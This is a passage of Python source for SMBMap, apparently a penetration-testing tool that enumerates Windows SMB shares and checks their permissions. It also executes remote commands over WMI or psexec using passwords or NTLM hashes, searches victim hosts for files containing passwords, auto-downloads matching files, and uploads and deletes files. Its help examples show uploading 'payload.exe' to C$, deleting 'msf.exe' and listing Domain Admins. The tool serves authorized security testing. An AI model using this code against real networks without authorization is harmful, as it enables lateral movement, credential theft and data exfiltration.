isItThere = self.exec_command(self.jobs[job]['host'], self.jobs[job]['share'], 'cmd /c "if exist {}\{}.txt echo ImHere"'.format(self.jobs[job]['tmp'], job), disp_output=False)
result = self.exec_command(self.jobs[job]['host'], self.jobs[job]['share'], 'cmd /c "2>nul (>>{}\{}.txt (call )) && (echo not locked) || (echo locked)"'.format(self.jobs[job]['tmp'], job), disp_output=False)
if 'not locked' == result.strip() and isItThere.strip() == 'ImHere':
dl_target = '%s%s\%s.txt' % (self.jobs[job]['share'], self.jobs[job]['tmp'][2:], job)
host_dest = self.download_file(self.jobs[job]['host'], dl_target)
counter += 1
self.search_output_buffer += 'Host: %s \t\tPattern: %s\n' % (self.jobs[job]['host'], self.jobs[job]['pattern'])
if os.stat(host_dest).st_size > 0:
results_file = open(host_dest)
self.search_output_buffer += results_file.read()
self.search_output_buffer += '\n'
else:
self.search_output_buffer += 'No matching patterns found\n\n'
print('[+] Job %d of %d completed on %s...' % (counter, num_jobs, self.jobs[job]['host']))
self.delete_file(self.jobs[job]['host'], dl_target)
os.remove('./{}/{}.bat'.format(PSUTIL_DIR, job))
self.jobs.pop(job, None)
if counter >= num_jobs:
break
else:
if time.perf_counter()-self.jobs[job]['start_time'] > int(timeout):
print('[!] Job {} is taking a long time....it\'s getting punted'.format(job))
for pid in self.jobs[job]['proc_id']:
kill_job = 'taskkill /PID {} /F'.format(pid)
success = self.exec_command(self.jobs[job]['host'], self.jobs[job]['share'], kill_job, disp_output=False)
os.remove('./{}/{}.bat'.format(PSUTIL_DIR, job))
time.sleep(10)
except Exception as e:
print(e)
print('[+] All jobs complete')
print(self.search_output_buffer)
def get_ip_address(self):
myIPaddr = ''
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect(('10.255.255.255', 1))
myIPaddr = s.getsockname()[0]
except:
myIPaddr = '127.0.0.1'
finally:
s.close()
return myIPaddr
def list_drives(self, host, share):
counter = 0
disks = []
try:
local_disks = self.exec_command( host, share, 'fsutil fsinfo drives', disp_output=False)
net_disks_raw = self.exec_command( host, share, 'net use', disp_output=False)
net_disks = ''
for line in net_disks_raw.split('\n'):
if ':' in line:
data = line.split(' ')
data = [a for a in data if a != '']
for item in data:
counter += 1
net_disks += '%s\t\t' % (item)
if '\\' in item:
net_disks += ' '.join(data[counter:])
break
disks.append(net_disks)
net_disks = ''
print('[+] Host %s Local %s' % (host, local_disks.strip()))
print('[+] Host %s Net Drive(s):' % (host))
if len(disks) > 0:
for disk in disks:
print('\t%s' % (disk))
else:
print('\tNo mapped network drives')
pass
except Exception as e:
print('[!] Error on {}: {}'.format(host, e))
def output_shares(self, host, lsshare, lspath, write_check=True, depth=5):
shareList = [(lsshare,'')] if lsshare else self.get_shares(host)
share_privs = ''
share_tree = {}
for share in shareList:
if share[0].lower() not in self.exclude:
share_name = share[0]
share_comment = share[1]
share_tree[share_name] = {}
canWrite = False
readonly = False
noaccess = False
if write_check:
try:
root = PERM_DIR.replace('/','\\')
root = ntpath.normpath(root)
self.create_dir(host, share_name, root)
share_tree[share_name]['privs'] = 'READ, WRITE'
canWrite = True
try:
self.remove_dir(host, share_name, root)
except Exception as e:
print('\t[!] Unable to remove test directory at \\\\%s\\%s\\%s, please remove manually' % (host, share_name, root))
except Exception as e:
exc_type, exc_obj, exc_tb = sys.exc_info()
fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
#print(exc_type, fname, exc_tb.tb_lineno)
sys.stdout.flush()
try:
if self.smbconn[host].listPath(share_name, self.pathify('/')) and canWrite == False:
readonly = True
share_tree[share_name]['privs'] = 'READ ONLY'
except Exception as e:
noaccess = True
share_tree[share_name]['privs'] = 'NO ACCESS'
share_tree[share_name]['comment'] = share_comment
contents = {}
try:
if noaccess == False:
dirList = ''
if lspath:
path = lspath
else:
path = '/'
if self.list_files:
if self.pattern:
print('[+] Starting search for files matching \'%s\' on share %s.' % (self.pattern, share[0]))
contents = self.list_path(host, share_name, path, depth)
except Exception as e:
exc_type, exc_obj, exc_tb = sys.exc_info()
fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
print('[!] Something weird happened: {} on line {}'.format(e, exc_tb.tb_lineno))
sys.stdout.flush()
sys.exit()
share_tree[share_name]['contents'] = contents
self.to_string(share_tree, host)
def kill_loader(self):
self.loading = False
self.loader.terminate()
self.loader.join()
self.loader.cleanup()
def list_path(self, host, share, path, depth=5, path_list=None):
if path_list is None:
path_list = {}
pwd = self.pathify(path)
width = 16
try:
pathList = self.smbconn[host].listPath(share, pwd)
path_list[path] = []
for item in pathList:
filesize = item.get_filesize()
readonly = 'w' if item.is_readonly() > 0 else 'r'
date = time.ctime(float(item.get_mtime_epoch()))
isDir = 'd' if item.is_directory() > 0 else 'f'
filename = item.get_longname()
if isDir == 'f':
if self.pattern:
fileMatch = re.search(self.pattern.lower(), filename.lower())
if fileMatch:
dlThis = '%s%s%s' % (share, pwd.strip('*'), filename)
dlThis = dlThis.replace('/','\\')
print('[+] Match found! Downloading: %s' % (dlThis))
self.download_file(host, dlThis)
if (self.dir_only == True and isDir == 'd') or ( (isDir == 'f' or isDir == 'd') and self.dir_only == False):
path_list[path].append({'isDir': isDir, 'readonly': readonly, 'filesize': filesize, 'date': date, 'filename': filename})
if self.recursive:
for smbItem in path_list[path]:
try:
if smbItem['isDir'] == 'd' and smbItem['filename'] not in [ '.', '..']:
subPath = '%s/%s' % (path, smbItem['filename'])
subPath = self.pathify(subPath)
pathList = self.smbconn[host].listPath(share, subPath)
if len(pathList) > 2 and '{}/{}'.format(path, smbItem['filename']) not in path_list.keys() and subPath.count('\\')-1 <= int(depth):
self.list_path(host, share, '%s/%s' % (path, smbItem['filename']), depth, path_list)
except SessionError as e:
continue
return path_list
except Exception as e:
exc_type, exc_obj, exc_tb = sys.exc_info()
fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
print('[!] Something weird happened: {} on line {}'.format(e, exc_tb.tb_lineno))
sys.stdout.flush()
return {}
def to_string(self, share_tree, host):
self.kill_loader()
header = '\tDisk{}\tPermissions\tComment\n'.format(' '.ljust(50))
header += '\t----{}\t-----------\t-------'.format(' '.ljust(50))
heads_up = False
try:
for item in share_tree.keys():
if self.verbose == False and 'NO ACCESS' not in share_tree[item]['privs'] and self.grepable == False and not self.pattern:
if heads_up == False:
print(header)
heads_up = True
print('\t{}\t{}\t{}'.format(item.ljust(50), share_tree[item]['privs'], share_tree[item]['comment'] ) )
elif self.verbose and self.grepable == False and not self.pattern:
if heads_up == False:
print(header)
heads_up = True
print('\t{}\t{}\t{}'.format(item.ljust(50), share_tree[item]['privs'], share_tree[item]['comment'] ) )
for path in share_tree[item]['contents'].keys():
if self.grepable == False and self.verbose:
print('\t.\{}{}'.format(item, self.pathify(path)))
for file_info in share_tree[item]['contents'][path]:
isDir = file_info['isDir']
readonly = file_info['readonly']
filesize = file_info['filesize']
date = file_info['date']
filename = file_info['filename']
if (self.verbose and self.grepable == False) and ((self.dir_only == True and isDir == 'd') or ( (isDir == 'f' or isDir == 'd') and self.dir_only == False)):
print('\t%s%s--%s--%s-- %s %s\t%s' % (isDir, readonly, readonly, readonly, str(filesize).rjust(16), date, filename))
elif self.grepable:
if filename != '.' and filename != '..':
if (self.dir_only == True and isDir == 'd') or ( (isDir == 'f' or isDir == 'd') and self.dir_only == False):
print('host:{}, privs:{}, isDir:{}, name:{}{}\{}, fileSize:{}, date:{}'.format(host, share_tree[item]['privs'].replace(',','').replace(' ', '_'), isDir, item, self.pathify(path).replace('\*',''), filename, str(filesize), date))
except Exception as e:
print('[!] Bummer: ', e)
def get_shares(self, host):
try:
shareList = self.smbconn[host].listShares()
shares = []
for item in range(len(shareList)):
shares.append( (shareList[item]['shi1_netname'][:-1], shareList[item]['shi1_remark'][:-1]) )
return shares
except Exception as e:
exc_type, exc_obj, exc_tb = sys.exc_info()
fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
#print('[!] Something weird happened: {} on line {}'.format(e, exc_tb.tb_lineno))
sys.stdout.flush()
#sys.exit()
def pathify(self, path):
root = ''
root = ntpath.join(path,'*')
root = root.replace('/','\\')
root = root.replace('\\\\','\\')
root = ntpath.normpath(root)
return root
def create_dir(self, host, share, path):
#path = self.pathify(path)
self.smbconn[host].createDirectory(share, path)
def remove_dir(self, host, share, path):
#path = self.pathify(path)
self.smbconn[host].deleteDirectory(share, path)
def valid_ip(self, address):
try:
socket.inet_aton(address)
return True
except:
return False
def filter_results(self, pattern):
pass
def download_file(self, host, path):
path = path.replace('/','\\')
path = ntpath.normpath(path)
filename = path.split('\\')[-1]
share = path.split('\\')[0]
path = path.replace(share, '')
try:
out = open(ntpath.basename('%s/%s' % (os.getcwd(), '%s-%s%s' % (host, share.replace('$',''), path.replace('\\','_')))),'wb')
dlFile = self.smbconn[host].listPath(share, path)
if self.verbose:
msg = '[+] Starting download: %s (%s bytes)' % ('%s%s' % (share, path), dlFile[0].get_filesize())
if self.pattern:
msg = '\t' + msg
print(msg)
self.smbconn[host].getFile(share, path, out.write)
if self.verbose:
msg = '[+] File output to: %s/%s' % (os.getcwd(), ntpath.basename('%s/%s' % (os.getcwd(), '%s-%s%s' % (host, share.replace('$',''), path.replace('\\','_')))))
if self.pattern:
msg = '\t'+msg
print(msg)
except SessionError as e:
if 'STATUS_ACCESS_DENIED' in str(e):
print('[!] Error retrieving file, access denied')
elif 'STATUS_INVALID_PARAMETER' in str(e):
print('[!] Error retrieving file, invalid path')
elif 'STATUS_SHARING_VIOLATION' in str(e):
print('[!] Error retrieving file %s, sharing violation' % (filename))
out.close()
os.remove(ntpath.basename('%s/%s' % (os.getcwd(), '%s-%s%s' % (host, share.replace('$',''), path.replace('\\','_')))))
except Exception as e:
print('[!] Error retrieving file, unknown error')
os.remove(filename)
out.close()
return '%s/%s' % (os.getcwd(), ntpath.basename('%s/%s' % (os.getcwd(), '%s-%s%s' % (host, share.replace('$',''), path.replace('\\','_')))))
def exec_command(self, host, share, command, disp_output=True, host_name=None, mode='wmi'):
if self.is_ntlm(self.hosts[host]['passwd']):
hashes = self.hosts[host]['passwd']
else:
hashes = None
#domain=self.hosts[host]['domain']
if mode == 'wmi':
executer = WMIEXEC(username=self.hosts[host]['user'], password=self.hosts[host]['passwd'], hashes=hashes, share=share, command=command, scr_output=disp_output)
if self.loading:
self.kill_loader()
result = executer.run(host)
else:
executer = CMDEXEC(username=self.hosts[host]['user'], password=self.hosts[host]['passwd'], hashes=hashes, share=share, command=command)
if self.loading:
self.kill_loader()
result = executer.run(host_name, host)
return result
def delete_file(self, host, path):
path = path.replace('/','\\')
path = ntpath.normpath(path)
filename = path.split('\\')[-1]
share = path.split('\\')[0]
path = path.replace(share, '')
path = path.replace(filename, '')
try:
self.smbconn[host].deleteFile(share, path + filename)
if self.verbose:
print('[+] File successfully deleted: %s%s%s' % (share, path, filename))
except SessionError as e:
if 'STATUS_ACCESS_DENIED' in str(e):
print('[!] Error deleting file, access denied')
elif 'STATUS_INVALID_PARAMETER' in str(e):
print('[!] Error deleting file, invalid path')
elif 'STATUS_SHARING_VIOLATION' in str(e):
print('[!] Error retrieving file, sharing violation')
elif 'STATUS_FILE_IS_A_DIRECTORY' in str(e):
self.smbconn[host].deleteDirectory(share, path)
#self.remove_dir(host, share, path)
else:
print('[!] Error deleting file %s%s%s, unknown error' % (share, path, filename))
print('[!]', e)
except Exception as e:
print('[!] Error deleting file %s%s%s, unknown error' % (share, path, filename))
print('[!]', e)
def upload_file(self, host, src, dst):
dst = dst.replace('/','\\')
dst = ntpath.normpath(dst)
dst = dst.split('\\')
share = dst[0]
dst = '\\'.join(dst[1:])
if os.path.exists(src):
print('[+] Starting upload: %s (%s bytes)' % (src, os.path.getsize(src)))
upFile = open(src, 'rb')
try:
self.smbconn[host].putFile(share, dst, upFile.read)
print('[+] Upload complete')
except Exception as e:
print('[!]', e)
print('[!] Error uploading file, you need to include destination file name in the path')
upFile.close()
else:
print('[!] Invalid source. File does not exist')
sys.exit()
def is_ntlm(self, password):
try:
if len(password.split(':')) == 2:
lm, ntlm = password.split(':')
if len(lm) == 32 and len(ntlm) == 32:
return True
else:
return False
except Exception as e:
return False
def get_version(self, host):
domain = self.smbconn[host].getServerDomain()
if not domain:
domain = self.smbconn[host].getServerName()
print("[+] {}:{} is running {} (name:{}) (domain:{})".format(host, 445, self.smbconn[host].getServerOS(), self.smbconn[host].getServerName(), domain))
def signal_handler(signal, frame):
print('You pressed Ctrl+C!')
sys.exit(1)
if __name__ == "__main__":
example = 'Examples:\n\n'
example += '$ python smbmap.py -u jsmith -p password1 -d workgroup -H 192.168.0.1\n'
example += '$ python smbmap.py -u jsmith -p \'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d\' -H 172.16.0.20\n'
example += '$ python smbmap.py -u \'apadmin\' -p \'asdf1234!\' -d ACME -h 10.1.3.30 -x \'net group "Domain Admins" /domain\'\n'
parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, description="SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com", epilog=example)
sgroup = parser.add_argument_group("Main arguments")
mex_group = sgroup.add_mutually_exclusive_group(required=True)
mex_group.add_argument("-H", metavar="HOST", dest='host', type=str, help="IP of host")
mex_group.add_argument("--host-file", metavar="FILE", dest="hostfile", type=argparse.FileType('r'), help="File containing a list of hosts")
sgroup.add_argument("-u", metavar="USERNAME", dest='user', default='', help="Username, if omitted null session assumed")
sgroup.add_argument("-p", metavar="PASSWORD", dest='passwd', default='', help="Password or NTLM hash")
sgroup.add_argument("-s", metavar="SHARE", dest='share', default='C$', help="Specify a share (default C$), ex 'C$'")
sgroup.add_argument("-d", metavar="DOMAIN", dest='domain', default="WORKGROUP", help="Domain name (default WORKGROUP)")
sgroup.add_argument("-P", metavar="PORT", dest='port', type=int, default=445, help="SMB port (default 445)")
sgroup.add_argument("-v", dest='version', default=False, action='store_true', help="Return the OS version of the remote host")
sgroup.add_argument("--admin", dest='admin', default=False, action='store_true', help='Just report if the user is an admin')
sgroup2 = parser.add_argument_group("Command Execution", "Options for executing commands on the specified host")
sgroup2.add_argument("-x", metavar="COMMAND", dest='command', help="Execute a command ex. 'ipconfig /all'")
sgroup2.add_argument("--mode", metavar="CMDMODE", dest='mode', default='wmi', help="Set the execution method, wmi or psexec, default wmi", choices=['wmi','psexec'])
sgroup3 = parser.add_argument_group("Shard drive Search", "Options for searching/enumerating the share of the specified host(s)")
mex_group2 = sgroup3.add_mutually_exclusive_group()
mex_group2.add_argument("-L", dest='list_drives', action="store_true", help="List all drives on the specified host")
mex_group2.add_argument("-R", metavar="PATH", dest="recursive_dir_list", nargs="?", const='', help="Recursively list dirs, and files (no share\path lists ALL shares), ex. 'C$\\Finance'")
mex_group2.add_argument("-r", metavar="PATH", dest="dir_list", nargs="?", const='', help="List contents of directory, default is to list root of all shares, ex. -r 'C$\Documents and Settings\Administrator\Documents'")
mex_group3 = sgroup3.add_mutually_exclusive_group()
mex_group3.add_argument("-A", metavar="PATTERN", dest="pattern", help="Define a file name pattern (regex) that auto downloads a file on a match (requires -R or -r), not case sensitive, ex '(web|global).(asax|config)'")
mex_group3.add_argument("-g", dest="grepable", default=False, action="store_true", help="Make the output grep friendly, used with -r or -R (otherwise it outputs nothing)")
sgroup3.add_argument("--dir-only", dest='dir_only', action='store_true', help="List only directories, ommit files.")
sgroup3.add_argument("--no-write-check", dest='write_check', action='store_false', help="Skip check to see if drive grants WRITE access.")
sgroup3.add_argument("-q", dest="verbose", default=True, action="store_false", help="Quiet verbose output. Only shows shares you have READ or WRITE on, and suppresses file listing when performing a search (-A).")
sgroup3.add_argument("--depth", dest="depth", default=5, help="Traverse a directory tree to a specific depth. Default is 5.")
sgroup3.add_argument("--exclude", metavar="SHARE", dest="exclude", nargs="+", const=None, help="Exclude share(s) from searching and listing, ex. --exclude ADMIN$ C$'")
sgroup4 = parser.add_argument_group("File Content Search", "Options for searching the content of files (must run as root)")
sgroup4.add_argument("-F", dest="file_content_search", metavar="PATTERN", help="File content search, -F '[Pp]assword' (requires admin access to execute commands, and PowerShell on victim host)")
sgroup4.add_argument("--search-path", dest="search_path", default="C:\\Users", metavar="PATH", help="Specify drive/path to search (used with -F, default C:\\Users), ex 'D:\\HR\\'")
sgroup4.add_argument('--search-timeout', dest='search_timeout', default='300', metavar='TIMEOUT', help='Specifcy a timeout (in seconds) before the file search job gets killed. Default is 300 seconds.')
sgroup5 = parser.add_argument_group("Filesystem interaction", "Options for interacting with the specified host's filesystem")
sgroup5.add_argument("--download", dest='dlPath', metavar="PATH", help="Download a file from the remote system, ex.'C$\\temp\\passwords.txt'")
sgroup5.add_argument("--upload", nargs=2, dest='upload', metavar=('SRC', 'DST'), help="Upload a file to the remote system ex. '/tmp/payload.exe C$\\temp\\payload.exe'")
sgroup5.add_argument("--delete", dest="delFile", metavar="PATH TO FILE", help="Delete a remote file, ex. 'C$\\temp\\msf.exe'")
sgroup5.add_argument("--skip", default=False, action="store_true", help="Skip delete file confirmation prompt")
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
signal.signal(signal.SIGINT, signal_handler)
host = dict()
mysmb = SMBMap()
lsshare = False
lspath = False
if args.grepable:
mysmb.grepable = args.grepable
if args.pattern:
mysmb.pattern = args.pattern
mysmb.verbose = False
args.grepable = False
if args.verbose == False:
mysmb.verbose = False
if args.dir_only:
mysmb.dir_only = True
if args.recursive_dir_list != None:
mysmb.recursive = True
mysmb.list_files = True
try:
lspath = args.recursive_dir_list.replace('/','\\').split('\\')
lsshare = lspath[0]
lspath = '\\'.join(lspath[1:])
except:
pass
elif args.dir_list != None:
mysmb.list_files = True
try:
lspath = args.dir_list.replace('/','\\').split('\\')
lsshare = lspath[0]
lspath = '\\'.join(lspath[1:])
except:
pass
socket.setdefaulttimeout(3)
if args.exclude:
for ex_share in args.exclude:
mysmb.exclude.append(ex_share.lower())
if args.host:
if args.host.find('/') > 0:
try:
args.hostfile = [ str(ip) for ip in ipaddress.IPv4Network(args.host) ]
except:
print('[!] Invalid host...')
sys.exit(1)
if args.hostfile:
for ip in args.hostfile:
try:
if mysmb.find_open_ports(ip.strip(), args.port):
try:
host[ip.strip()] = { 'name' : socket.getnameinfo((ip.strip(), args.port),0)[0] , 'port' : args.port, 'user' : args.user, 'passwd' : args.passwd, 'domain' : args.domain}
except:
host[ip.strip()] = { 'name' : 'unknown', 'port' : 445, 'user' : args.user, 'passwd' : args.passwd, 'domain' : args.domain }
except Exception as e:
print('[!]', e)
continue
elif args.host and args.host.find('/') == -1:
if mysmb.find_open_ports(args.host, args.port):
try:
host[args.host.strip()] = { 'name' : socket.getnameinfo((args.host.strip(), args.port),0)[0], 'port' : args.port, 'user' : args.user, 'passwd' : args.passwd, 'domain' : args.domain}
except:
host[args.host.strip()] = { 'name' : 'unknown', 'port' : 445, 'user' : args.user, 'passwd' : args.passwd, 'domain' : args.domain }
if args.admin:
mysmb.verbose = False
mysmb.hosts = host
mysmb.smart_login()
counter = 0
if args.file_content_search:
mysmb.start_smb_server()
for host in list(mysmb.hosts.keys()):
mysmb.loader = Loader()
mysmb.loading = True
mysmb.loader.start()
if args.search_path[-1] == '\\':
search_path = args.search_path[:-1]
else:
search_path = args.search_path
try:
if len(mysmb.smbconn[host].listPath('ADMIN$', mysmb.pathify('/'))) > 0:
mysmb.start_file_search(host, args.file_content_search, args.share, search_path)
counter += 1
except:
pass
mysmb.kill_loader()
print('[+] File search started on {} hosts in directory {}...this could take a while'.format(counter, search_path))
mysmb.get_search_results(args.search_timeout)
if mysmb.loading:
mysmb.kill_loader()
for host in list(mysmb.hosts.keys()):
try:
mysmb.logout(host)
except:
continue
if not args.file_content_search:
for host in list(mysmb.hosts.keys()):
is_admin = False
try:
if len(mysmb.smbconn[host].listPath('ADMIN$', mysmb.pathify('/'))) > 0:
is_admin = True
except:
pass
mysmb.loader = Loader()
mysmb.loading = True
mysmb.loader.start()
try:
if args.dlPath:
mysmb.download_file(host, args.dlPath)
if args.upload:
mysmb.upload_file(host, args.upload[0], args.upload[1])
if args.delFile:
mysmb.delete_file(host, args.delFile)
if args.list_drives:
if is_admin:
mysmb.list_drives(host, args.share)
else:
mysmb.kill_loader()
if args.command:
if is_admin:
mysmb.exec_command(host, args.share, args.command, True, mysmb.hosts[host]['name'], args.mode)
else:
mysmb.kill_loader()
if args.version:
mysmb.get_version(host)
if not args.dlPath and not args.upload and not args.delFile and not args.list_drives and not args.command and not args.file_content_search and not args.version:
if is_admin:
priv_status = 'BAM: ADMIN!!! \t'
if mysmb.smbconn[host].isGuestSession() > 0:
priv_status = 'Guest session \t'
else:
priv_status = ''
if (not mysmb.grepable and not args.admin) or (not mysmb.grepable and args.admin and is_admin):
print('[+] {}IP: {}:{}\tName: {}'.format(priv_status, host, mysmb.hosts[host]['port'], mysmb.hosts[host]['name'].ljust(50) ))
tmp = mysmb.get_shares(host)
if not args.admin and tmp is not None:
mysmb.output_shares(host, lsshare, lspath, args.write_check, args.depth)
if mysmb.loading:
mysmb.kill_loader()
mysmb.loader = None
mysmb.logout(host)
except Exception as e:
exc_type, exc_obj, exc_tb = sys.exc_info()
fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
print('[!] Error: ', (exc_type, fname, exc_tb.tb_lineno))
sys.stdout.flush()